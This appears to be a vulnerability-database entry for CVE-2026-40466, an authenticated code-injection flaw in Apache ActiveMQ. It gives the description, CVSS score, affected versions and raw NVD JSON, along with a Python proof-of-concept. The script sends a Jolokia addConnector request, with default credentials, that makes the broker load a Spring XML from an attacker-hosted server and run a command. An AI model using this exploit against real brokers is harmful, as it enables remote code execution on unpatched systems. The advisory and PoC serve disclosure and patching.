Security Vulnerability Report
中文
CVE-2026-40466 CVSS 8.8 HIGH

CVE-2026-40466

Published: 2026-04-24 11:16:23
Last Modified: 2026-04-27 12:23:16

Description

Improper Input Validation, Improper Control of Generation of Code ('Code Injection') vulnerability in Apache ActiveMQ Broker, Apache ActiveMQ All, Apache ActiveMQ. An authenticated attacker may bypass the fix in CVE-2026-34197 by adding a connector using an HTTP Discovery transport via BrokerView.addNetworkConnector or BrokerView.addConnector through Jolokia if the activemq-http module is on the classpath. A malicious HTTP endpoint can return a VM transport through the HTTP URI which will bypass the validation added in CVE-2026-34197. The attacker can then use the VM transport's brokerConfig parameter to load a remote Spring XML application context using ResourceXmlApplicationContext. Because Spring's ResourceXmlApplicationContext instantiates all singleton beans before the BrokerService validates the configuration, arbitrary code execution occurs on the broker's JVM through bean factory methods such as Runtime.exec(). This issue affects Apache ActiveMQ Broker: before 5.19.6, from 6.0.0 before 6.2.5; Apache ActiveMQ All: before 5.19.6, from 6.0.0 before 6.2.5; Apache ActiveMQ: before 5.19.6, from 6.0.0 before 6.2.5. Users are recommended to upgrade to version 5.19.6 or 6.2.5, which fixes the issue.

CVSS Details

CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:apache:activemq:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:apache:activemq:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:apache:activemq_broker:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:apache:activemq_broker:*:*:*:*:*:*:*:* - VULNERABLE
Apache ActiveMQ Broker < 5.19.6
6.0.0 <= Apache ActiveMQ Broker < 6.2.5
Apache ActiveMQ All < 5.19.6
6.0.0 <= Apache ActiveMQ All < 6.2.5
Apache ActiveMQ < 5.19.6
6.0.0 <= Apache ActiveMQ < 6.2.5

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# Malicious Spring XML (poc.xml) hosted on attacker controlled server # <beans xmlns="http://www.springframework.org/schema/beans"> # <bean id="payload" class="java.lang.String"> # <constructor-arg> # <value>#{T(java.lang.Runtime).getRuntime().exec('touch /tmp/pwned')}</value> # </constructor-arg> # </bean> # </beans> # Python script to trigger exploit via Jolokia import requests import json # Target configuration TARGET_URL = "http://target-ip:8161/jolokia" AUTH = ('admin', 'admin') # Requires low privilege authentication MALICIOUS_DISCOVERY_URL = "http://attacker-server:8000/malicious-discovery.txt" # The content of malicious-discovery.txt should be: # vm://exploitedBroker?brokerConfig=http://attacker-server:8000/poc.xml&create=false headers = {'Content-Type': 'application/json'} # Jolokia request to call BrokerView.addConnector payload = { "type": "exec", "mbean": "org.apache.activemq:brokerName=localhost,type=Broker", "operation": "addConnector", "arguments": ["discovery:(" + MALICIOUS_DISCOVERY_URL + ")"] } try: response = requests.post(TARGET_URL, data=json.dumps(payload), headers=headers, auth=AUTH) print(f"Status Code: {response.status_code}") print(f"Response: {response.text}") if response.status_code == 200: print("Exploit triggered successfully. Check if the file was created on the target.") except Exception as e: print(f"An error occurred: {e}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-40466", "sourceIdentifier": "[email protected]", "published": "2026-04-24T11:16:22.540", "lastModified": "2026-04-27T12:23:15.880", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Input Validation, Improper Control of Generation of Code ('Code Injection') vulnerability in Apache ActiveMQ Broker, Apache ActiveMQ All, Apache ActiveMQ.\n\n\n\nAn authenticated attacker may bypass the fix in CVE-2026-34197 by adding a connector using an HTTP Discovery transport via BrokerView.addNetworkConnector or BrokerView.addConnector through Jolokia if the activemq-http module is on the classpath.\nA malicious HTTP endpoint can return a VM transport through the HTTP URI which will bypass the validation added in CVE-2026-34197. The attacker can then use the VM transport's brokerConfig parameter to load a remote Spring XML application context using ResourceXmlApplicationContext.\nBecause Spring's ResourceXmlApplicationContext instantiates all singleton beans before the BrokerService validates the configuration, arbitrary code execution occurs on the broker's JVM through bean factory methods such as Runtime.exec().\n\n\nThis issue affects Apache ActiveMQ Broker: before 5.19.6, from 6.0.0 before 6.2.5; Apache ActiveMQ All: before 5.19.6, from 6.0.0 before 6.2.5; Apache ActiveMQ: before 5.19.6, from 6.0.0 before 6.2.5.\n\nUsers are recommended to upgrade to version 5.19.6 or 6.2.5, which fixes the issue."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-20"}, {"lang": "en", "value": "CWE-94"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:apache:activemq:*:*:*:*:*:*:*:*", "versionEndExcluding": "5.19.6", "matchCriteriaId": "550C287A-18F0-462A-BFC9-2AD8A64B951A"}, {"vulnerable": true, "criteria": "cpe:2.3:a:apache:activemq:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.0.0", "versionEndExcluding": "6.2.5", "matchCriteriaId": "F7BDD719-DDF9-42A2-AD9D-05FB6D758EF1"}]}]}, {"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:apache:activemq_broker:*:*:*:*:*:*:*:*", "versionEndExcluding": "5.19.6", "matchCriteriaId": "8799E3CE-EA55-4470-9582-D1948706DEAF"}, {"vulnerable": true, "criteria": "cpe:2.3:a:apache:activemq_broker:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.0.0", "versionEndExcluding": "6.2.5", "matchCriteriaId": "429CAFE7-6C7F-4670-B62D-C0D4D97D440F"}]}]}], "references": [{"url": "https://activemq.apache.org/security-advisories.data/CVE-2026-34197-announcement.txt", "source": "[email protected]", "tags": ["Not Applicable"]}]}}